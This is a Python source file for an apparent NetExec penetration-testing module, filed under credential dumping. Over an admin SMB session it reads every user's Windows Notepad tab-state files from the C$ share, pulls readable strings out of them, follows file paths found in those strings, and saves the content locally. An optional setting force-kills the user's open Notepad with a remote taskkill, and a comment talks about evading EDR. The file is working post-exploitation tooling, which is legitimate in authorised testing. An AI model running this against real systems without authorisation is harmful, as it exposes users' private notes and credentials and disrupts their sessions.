Files
Pennyw0rth-NetExec/nxc/modules/notepad.py
T
2025-08-16 15:10:22 -04:00

197 lines
9.0 KiB
Python

from io import BytesIO
from os import makedirs
from os.path import join, abspath
import re
import time
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
from impacket.smbconnection import SessionError
smb_error_status = [
"STATUS_ACCOUNT_DISABLED",
"STATUS_ACCOUNT_EXPIRED",
"STATUS_ACCOUNT_RESTRICTION",
"STATUS_INVALID_LOGON_HOURS",
"STATUS_INVALID_WORKSTATION",
"STATUS_LOGON_TYPE_NOT_GRANTED",
"STATUS_PASSWORD_EXPIRED",
"STATUS_PASSWORD_MUST_CHANGE",
"STATUS_ACCESS_DENIED",
"STATUS_NO_SUCH_FILE",
"KDC_ERR_CLIENT_REVOKED",
"KDC_ERR_PREAUTH_FAILED",
]
class NXCModule:
# Extracts content from Windows Notepad binary tab state files
# Module by @termanix
name = "notepad"
description = "Extracts content from Windows Notepad tab state binary files."
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None):
self.context = context
self.false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
self.FILE_PATH_REGEX = r"^[A-Za-z]:\\(?:[^<>:\"/\\|?*]+\\)*[^<>:\"/\\|?*]+\.[\w]{1,5}$"
def options(self, context, module_options):
"""KILL // Kill for notepad.exe process. Default False."""
if "KILL" not in module_options:
self.kill = False
else:
self.kill = module_options["KILL"]
def extract_strings(self, data, min_length=4):
"""Extract printable strings from binary data, similar to the strings command."""
results = []
# ASCII strings extraction
ascii_strings = re.findall(b"[ -~]{%d,}" % min_length, data)
for s in ascii_strings:
try:
results.append(("ASCII", s.decode("ascii")))
except Exception as e:
self.context.log.fail(f"Failed extracting ASCII strings: {e}")
# UTF-16LE strings extraction (common in Windows)
utf16_pattern = re.compile(b"(?:[\x20-\x7E]\x00){%d,}" % min_length)
utf16_strings = utf16_pattern.findall(data)
for s in utf16_strings:
try:
decoded = s.decode("utf-16-le")
results.append(("UTF-16LE", decoded))
except Exception as e:
self.context.log.fail(f"Failed extracting UTF-16LE strings: {e}")
return results
def is_meaningful_content(self, string):
"""Check if a string has meaningful content."""
# Filter out strings that are just repetitions of the same character
if len(set(string)) <= 2 and len(string) > 4:
return False
# Filter out strings that don't have any letters or numbers
if not any(c.isalnum() for c in string):
return False
# Filter out strings that look like memory addresses or hex dumps
if re.match(r"^[0-9A-F]+$", string) and len(string) >= 8:
return False
# Filter out strings that are just whitespace or control characters
if string.isspace():
return False
# Filter out common binary file markers that aren't actual content
common_garbage = ["NULL", "true", "false", "xmlns", "http://", "https://", "COM1", "COM2", "COM3"]
return string not in common_garbage
def read_and_decode_file(self, connection, context, file_path, user):
buf = BytesIO()
try:
connection.conn.getFile("C$", file_path, buf.write)
except Exception as e:
if "STATUS_SHARING_VIOLATION" in str(e): # It means notepad.exe is open on target.
if self.kill:
try:
context.log.debug(f"Trying to kill notepad.exe process for {user} user.")
# To Do: Kill process with RPC, connection.execute can be detect by EDRs and module wont work. Or copy the target bin files without trigger the EDRs
connection.execute("taskkill /IM notepad.exe /F") # If notepad.exe open by user, needs to kill that process for reading files.
time.sleep(1) # Sleep 1 sec for finding and reading processing
context.log.debug(f"Notepad process was successfully killed for {user}")
connection.conn.getFile("C$", file_path, buf.write)
except Exception as e:
context.log.debug(f"Alternative method failed: {e}")
else:
context.log.fail("Notepad.exe is open on target. If want to kill process, add kill option true. (-o KILL=True)")
return []
else:
# If it's a different error, just skip this file
context.log.debug(f"Error accessing {file_path}: {e}")
buf.seek(0)
binary_data = buf.read()
# Return only the meaningful strings
return [
string for _, string in self.extract_strings(binary_data)
if self.is_meaningful_content(string)
]
def on_admin_login(self, context, connection):
self.context = context
context.log.display("Searching for Notepad cache...")
for directory in connection.conn.listPath("C$", "Users\\*"):
found = 0
if directory.get_longname() in self.false_positive or not directory.is_directory():
continue
# Path for Windows Notepad tab state files
notepad_dir = f"Users\\{directory.get_longname()}\\AppData\\Local\\Packages\\Microsoft.WindowsNotepad_8wekyb3d8bbwe\\LocalState\\TabState\\"
try:
for file in connection.conn.listPath("C$", f"{notepad_dir}\\*"):
if file.get_longname() not in self.false_positive and file.get_longname().endswith(".bin"):
file_path = f"{notepad_dir}{file.get_longname()}"
# Read the binary file
meaningful_strings = self.read_and_decode_file(connection, context, file_path, directory.get_longname())
if meaningful_strings:
found += 1
context.log.highlight(f"C:\\{file_path}")
# Output content
content_lines = []
# First loop to handle meaningful strings
for string in meaningful_strings:
if bool(re.match(self.FILE_PATH_REGEX, string)): # Only needed if checking locally
# Read the file into a buffer
meaningful_strings = self.read_and_decode_file(connection, context, string[2:], directory.get_longname())
# Second loop to handle content inside the file
for string in meaningful_strings:
context.log.highlight(f"\t{string}")
content_lines.append(string) # Store the string value only
else:
context.log.highlight(f"\t{string}")
content_lines.append(string) # Store the string value only
# Save to file
filename = f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt"
export_path = join(NXC_PATH, "modules", "notepad")
path = abspath(join(export_path, filename))
makedirs(export_path, exist_ok=True)
with open(path, "w+") as output_file:
output_file.write(f"Source: C:\\{file_path}\n\n")
output_file.write("\n".join(content_lines)) # Write strings line by line
context.log.success(f"Notepad tab state content written to: {path}")
except SessionError as e:
error = self.get_error_string(e)
if error == "STATUS_OBJECT_NAME_NOT_FOUND" or error == "STATUS_OBJECT_PATH_NOT_FOUND":
context.log.debug(f"Failed for user {directory.get_longname()}: {e}")
else:
context.log.fail(
f"Error enumerating shares: {error}",
color="magenta" if error in smb_error_status else "red",
)
if found == 0:
context.log.info("No Notepad tab state files with meaningful content found")
def get_error_string(self, exception):
if hasattr(exception, "getErrorString"):
try:
es = exception.getErrorString()
except KeyError:
return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
if type(es) is tuple:
return es[0]
else:
return es
else:
return str(exception)